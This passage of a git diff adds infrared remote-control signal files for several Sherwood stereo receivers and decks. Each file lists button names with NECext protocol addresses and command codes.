KEY_PLAY +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 13 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 18 00 00 00 +# +name: skip_p +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 19 00 00 00 +# +name: skip_n +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 1F 00 00 00 +# +name: tun +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 44 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 45 00 00 00 +# +name: sel +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 47 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 48 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 49 00 00 00 +# +name: vid1 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 4A 00 00 00 +# +name: dat +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 4B 00 00 00 +# +name: ph +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 4C 00 00 00 +# +name: vid2 +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 4D 00 00 00 +# +name: hall +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 56 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 57 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 5A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 5E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 81 72 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir new file mode 100644 index 000000000..1f0c9111a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 81 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 83 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 86 00 00 00 +# +name: bal- +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 87 00 00 00 +# +name: treb/bass- +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 88 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 89 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 8A 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 8B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 8C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 8D 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 8F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 91 00 00 00 +# +name: bal+ +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 97 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 98 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C0 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C1 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C2 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C3 00 00 00 +# +name: spk_a +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C4 00 00 00 +# +name: spk_b +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C6 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 45 83 00 00 +command: C7 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 45 83 00 00 +command: CB 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 45 83 00 00 +command: CC 00 00 00 +# +name: tone_sel +type: parsed +protocol: NECext +address: 45 83 00 00 +command: CE 00 00 00 +# +name: fm_mode +type: parsed +protocol: NECext +address: 45 83 00 00 +command: CF 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 45 83 00 00 +command: D4 00 00 00 +# +name: p.scan +type: parsed +protocol: NECext +address: 45 83 00 00 +command: D8 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 45 83 00 00 +command: D9 00 00 00 +# +name: treb/bass+ +type: parsed +protocol: NECext +address: 45 83 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir new file mode 100644 index 000000000..6cec4908e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0A 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0C 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0D 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0E 00 00 00 +# +name: CD_FAST_REWIND +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0F 00 00 00 +# +name: CD_FAST_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 10 00 00 00 +# +name: CD_SKIP_BACKWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 11 00 00 00 +# +name: CD_SKIP_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 12 00 00 00 +# +name: CD_1_ALL +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 13 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 14 00 00 00 +# +name: PSCAN +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 18 00 00 00 +# +name: DECK_B_RECORD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1D 00 00 00 +# +name: DECK_B_PAUSE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1E 00 00 00 +# +name: DECK_B_BACK +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1F 00 00 00 +# +name: DECK_B_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 20 00 00 00 +# +name: DECK_B_STOP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 21 00 00 00 +# +name: DECK_B_FAST_REWIND +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 22 00 00 00 +# +name: DECK_B_FAST_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 23 00 00 00 +# +name: DECK_A_RECORD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 25 00 00 00 +# +name: DECK_A_PAUSE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 26 00 00 00 +# +name: DECK_A_BACK +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 27 00 00 00 +# +name: DECK_A_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 28 00 00 00 +# +name: DECK_A_STOP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 29 00 00 00 +# +name: DECK_A_FAST_REWIND +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 2A 00 00 00 +# +name: DECK_A_FAST_FORWARD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 2B 00 00 00 +# +name: CD_INTRO +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 32 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 34 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 35 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 36 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 37 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 3A 00 00 00 +# +name: CD_A_B +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 3C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 3D 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 47 00 00 00 +# +name: CLASSIC +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 48 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 49 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 56 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 57 00 00 00 +# +name: POPS +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5C 00 00 00 +# +name: DISK +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5E 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir new file mode 100644 index 000000000..cbfcb00a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0A 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0B 00 00 00 +# +name: CD_Stop +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0C 00 00 00 +# +name: CD_Pause +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0D 00 00 00 +# +name: CD_Play +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0E 00 00 00 +# +name: CD_Skip_Back +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 0F 00 00 00 +# +name: CD_Skip_Forward +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 10 00 00 00 +# +name: CD_Track_Back +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 11 00 00 00 +# +name: CD_Track_Forward +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 12 00 00 00 +# +name: CD_Repeat +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 13 00 00 00 +# +name: CD_Intro_Scan +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 14 00 00 00 +# +name: P.Scan +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 18 00 00 00 +# +name: DECKA_Record +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1D 00 00 00 +# +name: DECKA_Pause +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1E 00 00 00 +# +name: DECKA_Play_Rev +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 1F 00 00 00 +# +name: DECKA_Play_For +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 20 00 00 00 +# +name: DECKA_Stop +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 21 00 00 00 +# +name: DECKA_Fast_Rewind +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 22 00 00 00 +# +name: DECKA_Fast_Forward +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 23 00 00 00 +# +name: DECKB_Record +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 25 00 00 00 +# +name: DECKB_Pause +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 26 00 00 00 +# +name: DECKB_Play_Rev +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 27 00 00 00 +# +name: DECKB_Play_For +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 28 00 00 00 +# +name: DECKB_Stop +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 29 00 00 00 +# +name: DECKB_Fast_Rewind +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 2A 00 00 00 +# +name: DECKB_Fast_Forward +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 2B 00 00 00 +# +name: FUNC_Phono +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 32 00 00 00 +# +name: FUNC_Tape2 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 33 00 00 00 +# +name: FUNC_Tape1 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 34 00 00 00 +# +name: FUNC_Tuner +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 35 00 00 00 +# +name: FUNC_CD +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 36 00 00 00 +# +name: FUNC_Aux +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 37 00 00 00 +# +name: FUNC_LDP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 39 00 00 00 +# +name: FUNC_VCR1 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 3A 00 00 00 +# +name: FUNC_VCR2 +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 3B 00 00 00 +# +name: S.Mode +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 42 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 46 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 47 00 00 00 +# +name: C.Mode +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4B 00 00 00 +# +name: T.Tone +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4D 00 00 00 +# +name: D.Time +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4E 00 00 00 +# +name: Center_Level_Down +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 4F 00 00 00 +# +name: Center_Level_Up +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 50 00 00 00 +# +name: Rear_Level_Down +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 51 00 00 00 +# +name: Rear_Level_Up +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 52 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 53 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 54 00 00 00 +# +name: Master_Volume_Up +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 55 00 00 00 +# +name: Master_Volume_Down +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 56 00 00 00 +# +name: EQ_Display +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5B 00 00 00 +# +name: EQ_T.Mon +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5C 00 00 00 +# +name: EQ_Preset +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5D 00 00 00 +# +name: EQ_User +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5E 00 00 00 +# +name: EQ_File +type: parsed +protocol: NECext +address: 83 44 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir new file mode 100644 index 000000000..f1cad052a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 00 00 00 00 +# +name: turntable-stop +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 01 00 00 00 +# +name: turntable-play +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 02 00 00 00 +# +name: tuner-shift +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 03 00 00 00 +# +name: vid-sound-select +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 07 00 00 00 +# +name: tuner-1/9 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 08 00 00 00 +# +name: tuner-2/10 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 09 00 00 00 +# +name: tuner-3/11 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0A 00 00 00 +# +name: tuner-4/12 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0B 00 00 00 +# +name: tuner-5/13 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0C 00 00 00 +# +name: tuner-6/14 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0D 00 00 00 +# +name: tuner-7/15 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0E 00 00 00 +# +name: tuner-8/16 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 0F 00 00 00 +# +name: cas-A-rew +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 10 00 00 00 +# +name: cas-A-ff +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 11 00 00 00 +# +name: cas-A-play-reverse +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 12 00 00 00 +# +name: cas-A-play-front +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 13 00 00 00 +# +name: cas-A-record +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 18 00 00 00 +# +name: cas-A-pause +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 19 00 00 00 +# +name: cas-A-stop +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1A 00 00 00 +# +name: cas-B-stop +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1B 00 00 00 +# +name: cas-B-rew +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1C 00 00 00 +# +name: cas-B-ff +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1D 00 00 00 +# +name: cas-B-play-reverse +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1E 00 00 00 +# +name: cas-B-play-front +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 1F 00 00 00 +# +name: cdp-prev +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 40 00 00 00 +# +name: cdp-next +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 41 00 00 00 +# +name: cdp-stop +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 42 00 00 00 +# +name: cdp-play +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 43 00 00 00 +# +name: cdp-pause +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 44 00 00 00 +# +name: cdp-repeat +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 45 00 00 00 +# +name: tape-monitor +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 47 00 00 00 +# +name: eq-select-1 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 48 00 00 00 +# +name: eq-select-2 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 49 00 00 00 +# +name: eq-select-3 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 4A 00 00 00 +# +name: eq-select-4 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 4B 00 00 00 +# +name: input-select-vcr +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 59 00 00 00 +# +name: input-select-tv +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 5A 00 00 00 +# +name: input-select-vid2 +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 5B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 5D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 5E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 81 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir new file mode 100644 index 000000000..e6bf6fce6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0A 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0D 00 00 00 +# +name: auto_space +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 0F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 14 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 16 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 18 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 1A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 81 7A 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir new file mode 100644 index 000000000..04c395e96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: CASS_DECK_A +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 01 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 02 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 03 00 00 00 +# +name: VISUAL +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 04 00 00 00 +# +name: EQ_USER +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 05 00 00 00 +# +name: TAPEMONITOR +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 06 00 00 00 +# +name: REPEAT_AB +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 09 00 00 00 +# +name: TV_AUX +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0A 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0D 00 00 00 +# +name: EQ_TAPE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0E 00 00 00 +# +name: EQ_PRESET +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 11 00 00 00 +# +name: HEAVY +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 12 00 00 00 +# +name: SOFT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 13 00 00 00 +# +name: CD_SKIP+ +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 14 00 00 00 +# +name: CD_SKIP- +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 15 00 00 00 +# +name: VOCAL +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 16 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 18 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 19 00 00 00 +# +name: CASS_REW +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1A 00 00 00 +# +name: CASS_FF +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1B 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1C 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1D 00 00 00 +# +name: CASS_PLAYLEFT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1E 00 00 00 +# +name: CASS_PLAYRIGHT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 40 00 00 00 +# 